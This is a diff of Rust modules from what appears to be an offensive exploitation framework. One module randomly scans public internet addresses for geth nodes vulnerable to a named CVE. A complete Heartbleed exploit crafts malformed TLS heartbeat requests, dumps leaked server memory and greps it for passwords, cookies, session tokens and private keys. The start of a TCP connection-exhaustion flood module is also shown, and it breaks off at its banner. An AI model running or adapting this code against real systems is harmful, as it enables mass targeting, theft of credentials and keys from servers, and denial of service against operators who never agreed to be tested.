let p2p_port = config.p2p_port;
|
||||
|
||||
let task = tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return (target, None, false),
|
||||
};
|
||||
|
||||
// Check version
|
||||
let info = check_geth_version(&target, rpc_port).await.ok();
|
||||
let vulnerable = info.as_ref().map(|i| i.vulnerable).unwrap_or(false);
|
||||
|
||||
// Check P2P
|
||||
let p2p_open = check_p2p_port(&target, p2p_port).await
|
||||
.unwrap_or(false);
|
||||
|
||||
(target, info, p2p_open && vulnerable)
|
||||
});
|
||||
|
||||
tasks.push((idx, task));
|
||||
}
|
||||
|
||||
let mut vulnerable_count = 0;
|
||||
let mut results = Vec::new();
|
||||
|
||||
for (idx, task) in tasks {
|
||||
if let Ok((target, info, is_vulnerable)) = task.await {
|
||||
let progress = ((idx + 1) as f64 / total as f64 * 100.0) as u32;
|
||||
|
||||
if is_vulnerable {
|
||||
let version = info.and_then(|i| i.version).unwrap_or_else(|| "Unknown".to_string());
|
||||
println!("{}", format!("[{}/{}] [{}%] {} - VULNERABLE ({})",
|
||||
idx + 1, total, progress, target, version).green());
|
||||
vulnerable_count += 1;
|
||||
results.push(format!("VULNERABLE: {} - {}", target, version));
|
||||
} else {
|
||||
println!("{}", format!("[{}/{}] [{}%] {} - Not vulnerable/unreachable",
|
||||
idx + 1, total, progress, target).dimmed());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Summary
|
||||
println!();
|
||||
println!("{}", "═══ Mass Scan Results ═══".cyan().bold());
|
||||
println!(" Total Targets: {}", total);
|
||||
println!(" {}", format!("Vulnerable: {}", vulnerable_count).green());
|
||||
|
||||
// FIX: Handle write errors properly
|
||||
if !results.is_empty() {
|
||||
let filename = "cve_2026_22862_geth_results.txt";
|
||||
match File::create(filename) {
|
||||
Ok(mut file) => {
|
||||
for result in &results {
|
||||
if let Err(e) = writeln!(file, "{}", result) {
|
||||
eprintln!("{}", format!("Warning: Failed to write result: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
println!(" Results saved to: {}", filename.green());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("Error: Failed to create results file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check if target is 0.0.0.0, 0.0.0.0/0, or "random" for mass random scan mode
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" || target.is_empty() {
|
||||
run_random_scan().await
|
||||
} else {
|
||||
let config = get_user_config(target)?;
|
||||
|
||||
if config.mass_scan {
|
||||
run_mass_scan(&config).await
|
||||
} else {
|
||||
run_single_exploit(&config).await
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Run random scan against 0.0.0.0/0 (internet-wide random scanning)
|
||||
async fn run_random_scan() -> Result<()> {
|
||||
println!("{}", "[*] Random Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Scanning random public IPs for vulnerable geth nodes".cyan());
|
||||
println!();
|
||||
|
||||
// Ask about exclusions
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
|
||||
let use_exclusions = !input.trim().eq_ignore_ascii_case("n");
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusions.len()).green());
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Output file
|
||||
print!("{}", "[?] Output file [default: geth_vulnerable_nodes.txt]: ".green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let outfile = if input.trim().is_empty() {
|
||||
"geth_vulnerable_nodes.txt".to_string()
|
||||
} else {
|
||||
input.trim().to_string()
|
||||
};
|
||||
|
||||
// Concurrency
|
||||
print!("{}", format!("[?] Concurrency [default: {}]: ", MAX_CONCURRENT_SCANS).green());
|
||||
std::io::stdout().flush().context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin().read_line(&mut input).context("Failed to read input")?;
|
||||
let threads = input.trim().parse::<usize>()
|
||||
.unwrap_or(MAX_CONCURRENT_SCANS);
|
||||
let threads = if threads > 0 { threads } else { MAX_CONCURRENT_SCANS };
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// FIX: Add shutdown signal
|
||||
let shutdown = Arc::new(AtomicBool::new(false));
|
||||
let shutdown_clone = shutdown.clone();
|
||||
|
||||
// Spawn Ctrl+C handler
|
||||
tokio::spawn(async move {
|
||||
if tokio::signal::ctrl_c().await.is_ok() {
|
||||
println!("\n{}", "[!] Ctrl+C received, shutting down...".yellow());
|
||||
shutdown_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
});
|
||||
|
||||
// FIX: Create file writer channel to avoid race conditions
|
||||
let (tx, mut rx) = mpsc::channel::<String>(100);
|
||||
|
||||
// Spawn file writer task
|
||||
let outfile_clone = outfile.clone();
|
||||
let writer_handle = tokio::spawn(async move {
|
||||
match File::create(&outfile_clone) {
|
||||
Ok(mut file) => {
|
||||
while let Some(line) = rx.recv().await {
|
||||
if let Err(e) = writeln!(file, "{}", line) {
|
||||
eprintln!("{}", format!("Warning: Failed to write to file: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("Error: Failed to create output file: {}", e).red());
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// FIX: Progress reporter with shutdown support
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let shutdown_progress = shutdown.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !shutdown_progress.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
if !shutdown_progress.load(Ordering::Relaxed) {
|
||||
println!("[*] Progress: Checked {} | Vulnerable {}",
|
||||
chk.load(Ordering::Relaxed), fnd.load(Ordering::Relaxed));
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Starting random scan... Press Ctrl+C to stop.".cyan().bold());
|
||||
println!();
|
||||
|
||||
// FIX: Bounded task collection with shutdown support
|
||||
let mut active_tasks = Vec::new();
|
||||
|
||||
while !shutdown.load(Ordering::Relaxed) {
|
||||
// Acquire permit
|
||||
let permit = match semaphore.clone().acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("Semaphore error: {}", e).red());
|
||||
break;
|
||||
}
|
||||
};
|
||||
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
|
||||
let task = tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc).to_string();
|
||||
|
||||
// Check P2P port
|
||||
let p2p_open = check_p2p_port(&ip, DEFAULT_P2P_PORT).await
|
||||
.unwrap_or(false);
|
||||
|
||||
if p2p_open {
|
||||
// Check version via RPC
|
||||
let info = check_geth_version(&ip, DEFAULT_RPC_PORT).await.ok();
|
||||
|
||||
if let Some(ref node_info) = info {
|
||||
if node_info.vulnerable {
|
||||
let version = node_info.version.as_deref().unwrap_or("Unknown");
|
||||
println!("{}", format!("[+] VULNERABLE: {} - {}", ip, version).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
// Send to file writer
|
||||
let _ = tx.send(format!("VULNERABLE: {} - {}", ip, version)).await;
|
||||
} else if node_info.version.is_some() {
|
||||
println!("{}", format!("[+] Geth found (patched): {} - {}",
|
||||
ip, node_info.version.as_deref().unwrap_or("Unknown")).cyan());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
|
||||
active_tasks.push(task);
|
||||
|
||||
// FIX: Clean up completed tasks periodically to prevent unbounded growth
|
||||
if active_tasks.len() >= threads * 10 {
|
||||
// Drain first batch of tasks
|
||||
let drain_count = threads.min(active_tasks.len());
|
||||
for task in active_tasks.drain(..drain_count) {
|
||||
let _ = task.await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for remaining tasks to complete
|
||||
println!("{}", "[*] Waiting for active scans to complete...".cyan());
|
||||
for task in active_tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
// FIX: Properly shutdown background tasks
|
||||
drop(tx); // Close channel to signal writer to exit
|
||||
let _ = writer_handle.await;
|
||||
|
||||
// Stop progress reporter (it checks shutdown flag)
|
||||
let _ = progress_handle.await;
|
||||
|
||||
println!();
|
||||
println!("{}", "═══ Random Scan Complete ═══".cyan().bold());
|
||||
println!(" Checked: {}", checked.load(Ordering::Relaxed));
|
||||
println!(" {}", format!("Vulnerable: {}", found.load(Ordering::Relaxed)).green());
|
||||
println!(" Results saved to: {}", outfile.green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,505 @@
|
||||
use anyhow::{Context, Result, bail};
|
||||
use std::fs::File;
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration, sleep};
|
||||
use regex::Regex;
|
||||
use std::sync::Arc;
|
||||
use tokio::sync::Semaphore;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use colored::Colorize;
|
||||
|
||||
const MAX_RETRIES: u32 = 3;
|
||||
const INITIAL_BACKOFF_MS: u64 = 500;
|
||||
const MAX_CONCURRENT: usize = 10;
|
||||
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ScanConfig {
|
||||
pub port: u16,
|
||||
pub payload_size: u16,
|
||||
pub heartbeat_attempts: usize,
|
||||
pub batch_file: Option<String>,
|
||||
}
|
||||
|
||||
impl Default for ScanConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
port: 443,
|
||||
payload_size: 0x4000,
|
||||
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
|
||||
batch_file: None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let config = get_user_config(target).await?;
|
||||
run_with_config(target, config).await
|
||||
}
|
||||
|
||||
async fn get_user_config(target: &str) -> Result<ScanConfig> {
|
||||
let mut config = ScanConfig::default();
|
||||
|
||||
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
|
||||
println!();
|
||||
|
||||
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read port input")?;
|
||||
if let Ok(port) = input.trim().parse::<u16>() {
|
||||
if port > 0 {
|
||||
config.port = port;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read payload size input")?;
|
||||
if let Ok(size) = input.trim().parse::<u16>() {
|
||||
if size > 0 && size <= 0x4000 {
|
||||
config.payload_size = size;
|
||||
} else if size > 0x4000 {
|
||||
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
|
||||
config.payload_size = 0x4000;
|
||||
}
|
||||
}
|
||||
|
||||
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read heartbeat attempts input")?;
|
||||
if let Ok(attempts) = input.trim().parse::<usize>() {
|
||||
if attempts > 0 && attempts <= 20 {
|
||||
config.heartbeat_attempts = attempts;
|
||||
} else if attempts > 20 {
|
||||
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
|
||||
config.heartbeat_attempts = 20;
|
||||
}
|
||||
}
|
||||
|
||||
if target.is_empty() {
|
||||
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read batch mode input")?;
|
||||
|
||||
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
|
||||
print!("{}", "Enter batch file path: ".green());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
input.clear();
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read batch file path input")?;
|
||||
let batch_file = input.trim().to_string();
|
||||
|
||||
if !batch_file.is_empty() {
|
||||
if Path::new(&batch_file).exists() {
|
||||
config.batch_file = Some(batch_file);
|
||||
} else {
|
||||
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Configuration Summary:".cyan().bold());
|
||||
println!(" Port: {}", config.port);
|
||||
println!(" Payload Size: {} bytes", config.payload_size);
|
||||
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
|
||||
if let Some(ref batch) = config.batch_file {
|
||||
println!(" Batch File: {}", batch);
|
||||
}
|
||||
println!();
|
||||
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
|
||||
if let Some(batch_file) = &config.batch_file {
|
||||
run_batch_scan(batch_file, &config).await
|
||||
} else {
|
||||
scan_single_target(target, &config).await
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
|
||||
let file = File::open(batch_file)
|
||||
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let targets: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok())
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty() && !line.starts_with('#'))
|
||||
.collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
bail!("No valid targets found in batch file");
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
|
||||
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for target in targets {
|
||||
let config_clone = config.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
let sem_clone = sem.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// Semaphore acquire should never fail in practice, but handle gracefully
|
||||
let _permit = match sem_clone.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => {
|
||||
eprintln!("Warning: Failed to acquire semaphore permit");
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
scan_single_target(&target, &config_clone).await
|
||||
}));
|
||||
}
|
||||
|
||||
while let Some(result) = tasks.next().await {
|
||||
if let Err(e) = result {
|
||||
eprintln!("{}", format!("[-] Task error: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "\n[*] Batch scan complete".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
|
||||
let raw = target.trim();
|
||||
|
||||
if raw.is_empty() {
|
||||
bail!("Target address cannot be empty");
|
||||
}
|
||||
|
||||
let stripped = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']');
|
||||
|
||||
let host = if stripped.contains(':') && !stripped.contains('.') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
|
||||
let addr = format!("{}:{}", host, config.port);
|
||||
|
||||
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
|
||||
addr, config.payload_size, config.heartbeat_attempts).cyan());
|
||||
|
||||
let mut all_leaked_data = Vec::new();
|
||||
|
||||
for attempt in 1..=config.heartbeat_attempts {
|
||||
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
|
||||
|
||||
match scan_with_retry(&addr, config.payload_size).await {
|
||||
Ok(Some(data)) => {
|
||||
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
|
||||
all_leaked_data.extend_from_slice(&data);
|
||||
}
|
||||
Ok(None) => {
|
||||
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
|
||||
}
|
||||
}
|
||||
|
||||
if attempt < config.heartbeat_attempts {
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
}
|
||||
|
||||
if all_leaked_data.is_empty() {
|
||||
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
|
||||
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
|
||||
println!();
|
||||
|
||||
analyze_leaked_data(&all_leaked_data);
|
||||
|
||||
let safe_filename = stripped
|
||||
.replace(':', "_")
|
||||
.replace('/', "_")
|
||||
.replace('\\', "_");
|
||||
let filename = format!("leak_dump_{}.bin", safe_filename);
|
||||
|
||||
save_leak_dump(&filename, &all_leaked_data)?;
|
||||
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
|
||||
let mut backoff = INITIAL_BACKOFF_MS;
|
||||
|
||||
for retry in 0..MAX_RETRIES {
|
||||
if retry > 0 {
|
||||
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
|
||||
sleep(Duration::from_millis(backoff)).await;
|
||||
backoff *= 2;
|
||||
}
|
||||
|
||||
match perform_heartbleed_test(addr, payload_size).await {
|
||||
Ok(data) => return Ok(data),
|
||||
Err(e) if retry < MAX_RETRIES - 1 => {
|
||||
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e),
|
||||
}
|
||||
}
|
||||
|
||||
bail!("All retry attempts exhausted")
|
||||
}
|
||||
|
||||
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => bail!("Connection failed: {}", e),
|
||||
Err(_) => bail!("Connection timed out"),
|
||||
};
|
||||
|
||||
stream.write_all(&build_client_hello()).await
|
||||
.context("Failed to send Client Hello")?;
|
||||
stream.flush().await
|
||||
.context("Failed to flush after Client Hello")?;
|
||||
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {},
|
||||
Ok(Ok(_)) => bail!("No response to Client Hello"),
|
||||
Ok(Err(e)) => bail!("Read error: {}", e),
|
||||
Err(_) => bail!("Read timed out"),
|
||||
}
|
||||
|
||||
stream.write_all(&build_heartbeat_request(payload_size)).await
|
||||
.context("Failed to send Heartbeat request")?;
|
||||
stream.flush().await
|
||||
.context("Failed to flush after Heartbeat")?;
|
||||
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
let n = match read_result {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => return Ok(None),
|
||||
Ok(Err(_)) => return Ok(None),
|
||||
Err(_) => return Ok(None),
|
||||
};
|
||||
|
||||
if n <= 5 {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
Ok(Some(leak[..n].to_vec()))
|
||||
}
|
||||
|
||||
fn analyze_leaked_data(data: &[u8]) {
|
||||
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
|
||||
|
||||
let data_str = String::from_utf8_lossy(data);
|
||||
|
||||
let password_patterns = vec![
|
||||
(r"password[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
|
||||
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
|
||||
];
|
||||
|
||||
for (pattern, label) in password_patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
for cap in re.find_iter(&data_str) {
|
||||
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
|
||||
if let Some(re) = cookie_re {
|
||||
for cap in re.captures_iter(&data_str) {
|
||||
if let Some(cookie) = cap.get(1) {
|
||||
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let session_patterns = vec![
|
||||
r"PHPSESSID=[a-zA-Z0-9]{20,}",
|
||||
r"JSESSIONID=[a-zA-Z0-9]{20,}",
|
||||
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
|
||||
];
|
||||
|
||||
for pattern in session_patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
for cap in re.find_iter(&data_str) {
|
||||
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let key_markers = vec![
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"-----BEGIN DSA PRIVATE KEY-----",
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||||
];
|
||||
|
||||
for marker in key_markers {
|
||||
if data_str.contains(marker) {
|
||||
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
|
||||
}
|
||||
}
|
||||
|
||||
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
|
||||
if let Some(re) = auth_re {
|
||||
for cap in re.captures_iter(&data_str) {
|
||||
if let Some(auth) = cap.get(1) {
|
||||
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
|
||||
if let Some(re) = email_re {
|
||||
let mut emails = std::collections::HashSet::new();
|
||||
for cap in re.find_iter(&data_str) {
|
||||
emails.insert(cap.as_str().to_string());
|
||||
}
|
||||
if !emails.is_empty() {
|
||||
println!();
|
||||
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
|
||||
for (i, email) in emails.iter().take(5).enumerate() {
|
||||
println!(" {}: {}", i + 1, email);
|
||||
}
|
||||
if emails.len() > 5 {
|
||||
println!(" ... and {} more", emails.len() - 5);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
|
||||
println!("{}", printable_dump(&data[..data.len().min(512)]));
|
||||
}
|
||||
|
||||
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
|
||||
let path = Path::new(filename);
|
||||
let mut file = File::create(path)
|
||||
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
|
||||
file.write_all(data)
|
||||
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302;
|
||||
let time_now = match SystemTime::now().duration_since(UNIX_EPOCH) {
|
||||
Ok(d) => d.as_secs() as u32,
|
||||
Err(_) => 0,
|
||||
};
|
||||
|
||||
let mut random = vec![];
|
||||
random.extend_from_slice(&time_now.to_be_bytes());
|
||||
random.extend_from_slice(&[0x42; 28]);
|
||||
|
||||
let cipher_suites: Vec<u16> = vec![
|
||||
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
|
||||
];
|
||||
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
|
||||
for cs in &cipher_suites {
|
||||
hello.extend_from_slice(&cs.to_be_bytes());
|
||||
}
|
||||
hello.push(1);
|
||||
hello.push(0);
|
||||
|
||||
let mut extensions = vec![];
|
||||
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
|
||||
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
|
||||
extensions.push(0x01);
|
||||
|
||||
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
|
||||
hello.extend_from_slice(&extensions);
|
||||
|
||||
let mut handshake = vec![0x01];
|
||||
let len = (hello.len() as u32).to_be_bytes();
|
||||
handshake.extend_from_slice(&len[1..]);
|
||||
handshake.extend_from_slice(&hello);
|
||||
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
|
||||
record.extend_from_slice(payload);
|
||||
record
|
||||
}
|
||||
|
||||
fn printable_dump(data: &[u8]) -> String {
|
||||
data.iter()
|
||||
.map(|b| match *b {
|
||||
32..=126 => *b as char,
|
||||
b'\n' => '\n',
|
||||
b'\r' | b'\t' => ' ',
|
||||
_ => '.',
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod heartbleed;
|
||||
pub mod geth_dos_cve_2026_22862;
|
||||
@@ -0,0 +1,360 @@
|
||||
// src/modules/exploits/dos/connection_exhaustion_flood.rs
|
||||
//
|
||||
// Ultra-fast connection flood (server-side exhaustion)
|
||||
// Opens TCP connections in parallel as fast as possible, immediately closes them.
|
||||
// Uses a semaphore to bound max concurrent FDs so the LOCAL machine never runs out.
|
||||
// Target: exhaust server's connection table / TIME_WAIT slots
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::Instant;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no};
|
||||
|
||||
/// Maximum concurrent file descriptors to use (local side protection)
|
||||
const DEFAULT_MAX_FDS: usize = 1000;
|
||||
|
||||
/// Configuration for the connection flood
|
||||
#[derive(Clone, Debug)]
|
||||
struct FloodConfig {
|
||||
target_display: String,
|
||||
resolved_addrs: Vec<SocketAddr>,
|
||||
max_concurrent_fds: usize,
|
||||
worker_count: usize,
|
||||
duration_secs: u64,
|
||||
connect_timeout_ms: u64,
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
/// Entry point for the module
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
let config = setup_wizard(initial_target).await?;
|
||||
execute_flood(&config).await
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!(
|
||||
